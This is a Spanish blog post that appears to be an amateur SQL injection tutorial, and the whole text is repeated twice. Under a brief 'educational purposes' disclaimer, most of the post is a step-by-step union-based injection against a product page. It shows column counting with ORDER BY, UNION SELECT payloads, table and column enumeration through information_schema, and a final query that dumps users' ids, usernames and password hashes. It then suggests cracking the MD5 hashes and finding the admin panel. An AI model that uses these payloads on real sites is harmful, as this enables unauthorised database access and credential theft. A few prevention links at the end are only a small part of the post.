Posted by W4rning | Posted in PROGRAMACION | Posted on 9:01
Unas palabras antes de comenzar....esto va confines educativos no me hago responsables de lo que hagan ustedes saben lo que hacen solo dire esto no hagan daño a nadie le gustaria que le borraran todo de su web o db...respeten al final de este Post dejare unos link mas sobre este tema y como prevenirlos.
------------------------------------------------------------------------------------------------
Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.
Fuente: http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL
La lista de aplicaciones vulnerables a SQL injection es extensa, incluyendo tales como PHPNuke, PhpMyadmin, Moodle, WordPress, vBulletin, PhpBB, XOOPS, PostNuke... y muchas más.
Antes que nada este no es un tutorial completo ni nada por el estilo solo es una pequeña reseña de lo aprendido =)
Empezemos:
diferencia entre GET y POST: envía los datos usando la URL, el método POST los envía por la entrada estándar STDIO.
Ejemplo GET utilizando un formulario:
http://www.mihosting.com/formulario/procesa2.phtml?nombre=+df&apellidos=cv
ejemplo de POST utilizando un formulario: http://www.mihosting.com/formulario/procesa2.phtml
------------------------------------------------------------------------------------------------
se pasa la variable cont con el valor 22 en ese caso verdad.normalmente los sistemas de noticias usan bases de datos y por eso es lo primero que testeamos pero este no es el caso el mio fue en sistema de Producto xD ..
PD: solo parte de la url se mostrara :P
http://pagina.com/ejemplo?cont=22&item=5
3 opciones:
1-el valor de cont es el que se busca en la base de datos
2-el de item
3-ambos
si buscara alguno de ellos la consulta a la base de datos seria algo asi
SELECT producto FROM productos WHERE producto;
si ponemos http://pagina.com/ejemplo?cont=22&item=5
SELECT productoFROM productos WHERE item='22';
http://pagina.com/ejemplo?cont=22&item=6
SELECT producto FROM productos WHERE item='6';
si modificas el parametro modificas la consulta
http://pagina.com/ejemplo?cont=22&item=5+and+1=1--
Como seria la consulta?
SELECT producto FROM productos WHERE item='5'+and+1=1--';
lo que metes en la URL se incrusta en el codigo entonces la consulta dice:
selecciona una noticia desde noticias, pero saca la noticia que cumpla esta condicion (where) item=5 y pregunta (and) si 1=1 y eso siempre es verdadero no? seria una consulta correcta
ahora intentemos en vez de 1=1 ..pongamos 1=0
eso seria falso y no deberia realizar correctamente la consulta
Antes de seguir deja hacer una aclarion: si hacemos una consulta falsa y no envia ningun error ..se queda igual quiere decir que la variable no es vulnerable
http://pagina.com/ejemplo?cont=22&item=5+and+1=1--
Muestra exactamente lo mismo verdad? :)
http://pagina.com/ejemplo?cont=22&item=5+and+1=0--
muestra en blanco y un error
ahora debemos usar la sentencia ORDER BY para averiguar la cantidad de campos usados por la consulta para mostrar informacion en la pagina web esto seria asi
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+9999
PD:mira cuando haces el order by con un numero grande obtendras cierta cantidad de errores en este caso dos mysql_fetch_array en las lineas 13 y 17 ahora lo que sigue es disminuir el order by hasta k el error cambie
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+9999
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+45
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+10
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+5
espera..:) hay que paso??!
solo basta con que sea distinto bueno ahora en 10 no cambiaba(en mi caso)en 5 cambia el numerito que buscamos esta entre 5 y 10 ahora tenes k aumentar el 5 hasta k nos de error el mismo error de antes en mi caso es el 7
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+7
cualquier numero menor a 7 da un error el mayor es 5 (PD: en mi caso)
entonces ese era el numero que buscabamos ahora que tenemos ese numerito podemos hacer el siguiente paso que es el UNION SELECT que hace union select? une todos los campos que le digas en una sola consulta y los muestra en pantalla
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,3,4,5+--
Sustituimos nuestro anterior order by por el union select lo que acabamos de hacer fue averiguar el nº de campos que usa la db(DATA BASE) para mostrar info en pantalla
ahoa veremos algo curioso...esos numeros...5 y 3? :)
siempre e tenido preferencia mas por el numero 7 xD pero como no es el caso me gusta mas el 3 que el 5 =)
veamos la version de mysql que usa el servidor para eso utilizamos version()
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,version(),4,5+--
5.0.45-community-nt
tambien se puede usar la funcion user()
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,user(),4,5+--
hay mostraria el usuario que tiene poder en la DB el cual no mostrare en mi caso.nosotros buscamos alguien que tenga poder un usuario dentro de la DB ....saben quien?? el Admin :) aunque puede ser alguien importante en fin continuamos :)
PD: desde la version 5.0.2 existe informacion schema la cual es una tabla de base de datos por la que es facil inyectar.
funcion CONCAT()...sirve para concatenar
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(1232323),4,5+--
lo que le pongas lo muestra en pantalla
Ahora vamos por las tablas..concatenamos(mostramos) table_name el nombre de la tabla y de la sacamos de donde? de information_schema tables osea de las tablas
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.tables
para mas informacion sobre informacion_shema.table
http://carlostech.blogspot.com/2007/03/information-schema-sql.html
http://en.wikipedia.org/wiki/Information_schema
existe una variante de concat que es nada mas y nada menos que group_concat() concatena 1024 caracteres osea miestras tenga espacio mostrara info
PD: eso es solo una pequeña parte de las tablas que me salieron :P
Ahora lo que hay que busar son nombre como ´´root´´ ´´usuarios´´ ´´admin´´ ...algo asi
ahora necesitamos las columnas de esa tabla (usuarios) eso lo sacamos de la sig forma
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.colum+where+table_name=tabla en hexadecimal
tenemos que transformar la tabla a hexadecimal nesistamos un covertidor de Texto a hexadecimal yo uso 2 paginas :P
http://www.canfieldstudios.com/flashmx/asc2hex/index.html
o
http://www.string-functions.com/string-hex.aspx
usuarios = 7573756172696f73 le tenemos que agregar al principio 0x que seria:
0x7573756172696f73
ahora la inyeccion quedaria:
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.colum+where+table_name=0x7573756172696f73
Hay tenemos la columnas de esa tabla...Shang! D:
Ahora demos el toque final ^^
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,group_concat(id,user,pass,nombre),4,5+from+usuarios--
No mostrare los datos del admin de esa web no pienso mostrar tanto el user ni el pass encriptado en md5
ya el ultimo paso seria desencriptar el MD5 y luego buscar el panel control ^^
eso a sido todo ahora unos link mas sobre sql inyeccion y como prevenirlo:
Sql inyeccion:
http://www.hernanracciatti.com.ar/research/papers/sqlinjection.pdf
http://www.milw0rm.com/papers/216 (recomendado)
http://www.milw0rm.com/papers/197
Como prevenir estos ataques(siempre habran bugs...):
http://www.dotnetpuebla.com/portal/Publicaciones/Articulos/848.aspx
http://labajaenred.com/evitar-ataques-sql-injection-con-greensql-firewall/
http://www.sqlmag.com/articles/index.cfm?articleid=42216&(Ingles)
------------------------------------------------------------------------------------------------
Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.
Fuente: http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL
La lista de aplicaciones vulnerables a SQL injection es extensa, incluyendo tales como PHPNuke, PhpMyadmin, Moodle, WordPress, vBulletin, PhpBB, XOOPS, PostNuke... y muchas más.
Antes que nada este no es un tutorial completo ni nada por el estilo solo es una pequeña reseña de lo aprendido =)
Empezemos:
diferencia entre GET y POST: envía los datos usando la URL, el método POST los envía por la entrada estándar STDIO.
Ejemplo GET utilizando un formulario:
http://www.mihosting.com/formulario/procesa2.phtml?nombre=+df&apellidos=cv
ejemplo de POST utilizando un formulario: http://www.mihosting.com/formulario/procesa2.phtml
------------------------------------------------------------------------------------------------
se pasa la variable cont con el valor 22 en ese caso verdad.normalmente los sistemas de noticias usan bases de datos y por eso es lo primero que testeamos pero este no es el caso el mio fue en sistema de Producto xD ..
PD: solo parte de la url se mostrara :P
http://pagina.com/ejemplo?cont=22&item=5
3 opciones:
1-el valor de cont es el que se busca en la base de datos
2-el de item
3-ambos
si buscara alguno de ellos la consulta a la base de datos seria algo asi
SELECT producto FROM productos WHERE producto;
si ponemos http://pagina.com/ejemplo?cont=22&item=5
SELECT productoFROM productos WHERE item='22';
http://pagina.com/ejemplo?cont=22&item=6
SELECT producto FROM productos WHERE item='6';
si modificas el parametro modificas la consulta
http://pagina.com/ejemplo?cont=22&item=5+and+1=1--
Como seria la consulta?
SELECT producto FROM productos WHERE item='5'+and+1=1--';
lo que metes en la URL se incrusta en el codigo entonces la consulta dice:
selecciona una noticia desde noticias, pero saca la noticia que cumpla esta condicion (where) item=5 y pregunta (and) si 1=1 y eso siempre es verdadero no? seria una consulta correcta
ahora intentemos en vez de 1=1 ..pongamos 1=0
eso seria falso y no deberia realizar correctamente la consulta
Antes de seguir deja hacer una aclarion: si hacemos una consulta falsa y no envia ningun error ..se queda igual quiere decir que la variable no es vulnerable
http://pagina.com/ejemplo?cont=22&item=5+and+1=1--
Muestra exactamente lo mismo verdad? :)
http://pagina.com/ejemplo?cont=22&item=5+and+1=0--
muestra en blanco y un error
ahora debemos usar la sentencia ORDER BY para averiguar la cantidad de campos usados por la consulta para mostrar informacion en la pagina web esto seria asi
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+9999
PD:mira cuando haces el order by con un numero grande obtendras cierta cantidad de errores en este caso dos mysql_fetch_array en las lineas 13 y 17 ahora lo que sigue es disminuir el order by hasta k el error cambie
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+9999
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+45
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+10
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+5
espera..:) hay que paso??!
solo basta con que sea distinto bueno ahora en 10 no cambiaba(en mi caso)en 5 cambia el numerito que buscamos esta entre 5 y 10 ahora tenes k aumentar el 5 hasta k nos de error el mismo error de antes en mi caso es el 7
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+7
cualquier numero menor a 7 da un error el mayor es 5 (PD: en mi caso)
entonces ese era el numero que buscabamos ahora que tenemos ese numerito podemos hacer el siguiente paso que es el UNION SELECT que hace union select? une todos los campos que le digas en una sola consulta y los muestra en pantalla
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,3,4,5+--
Sustituimos nuestro anterior order by por el union select lo que acabamos de hacer fue averiguar el nº de campos que usa la db(DATA BASE) para mostrar info en pantalla
ahoa veremos algo curioso...esos numeros...5 y 3? :)
siempre e tenido preferencia mas por el numero 7 xD pero como no es el caso me gusta mas el 3 que el 5 =)
veamos la version de mysql que usa el servidor para eso utilizamos version()
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,version(),4,5+--
5.0.45-community-nt
tambien se puede usar la funcion user()
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,user(),4,5+--
hay mostraria el usuario que tiene poder en la DB el cual no mostrare en mi caso.nosotros buscamos alguien que tenga poder un usuario dentro de la DB ....saben quien?? el Admin :) aunque puede ser alguien importante en fin continuamos :)
PD: desde la version 5.0.2 existe informacion schema la cual es una tabla de base de datos por la que es facil inyectar.
funcion CONCAT()...sirve para concatenar
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(1232323),4,5+--
lo que le pongas lo muestra en pantalla
Ahora vamos por las tablas..concatenamos(mostramos) table_name el nombre de la tabla y de la sacamos de donde? de information_schema tables osea de las tablas
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.tables
para mas informacion sobre informacion_shema.table
http://carlostech.blogspot.com/2007/03/information-schema-sql.html
http://en.wikipedia.org/wiki/Information_schema
existe una variante de concat que es nada mas y nada menos que group_concat() concatena 1024 caracteres osea miestras tenga espacio mostrara info
PD: eso es solo una pequeña parte de las tablas que me salieron :P
Ahora lo que hay que busar son nombre como ´´root´´ ´´usuarios´´ ´´admin´´ ...algo asi
ahora necesitamos las columnas de esa tabla (usuarios) eso lo sacamos de la sig forma
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.colum+where+table_name=tabla en hexadecimal
tenemos que transformar la tabla a hexadecimal nesistamos un covertidor de Texto a hexadecimal yo uso 2 paginas :P
http://www.canfieldstudios.com/flashmx/asc2hex/index.html
o
http://www.string-functions.com/string-hex.aspx
usuarios = 7573756172696f73 le tenemos que agregar al principio 0x que seria:
0x7573756172696f73
ahora la inyeccion quedaria:
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.colum+where+table_name=0x7573756172696f73
Hay tenemos la columnas de esa tabla...Shang! D:
Ahora demos el toque final ^^
http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,group_concat(id,user,pass,nombre),4,5+from+usuarios--
No mostrare los datos del admin de esa web no pienso mostrar tanto el user ni el pass encriptado en md5
ya el ultimo paso seria desencriptar el MD5 y luego buscar el panel control ^^
eso a sido todo ahora unos link mas sobre sql inyeccion y como prevenirlo:
Sql inyeccion:
http://www.hernanracciatti.com.ar/research/papers/sqlinjection.pdf
http://www.milw0rm.com/papers/216 (recomendado)
http://www.milw0rm.com/papers/197
Como prevenir estos ataques(siempre habran bugs...):
http://www.dotnetpuebla.com/portal/Publicaciones/Articulos/848.aspx
http://labajaenred.com/evitar-ataques-sql-injection-con-greensql-firewall/
http://www.sqlmag.com/articles/index.cfm?articleid=42216&(Ingles)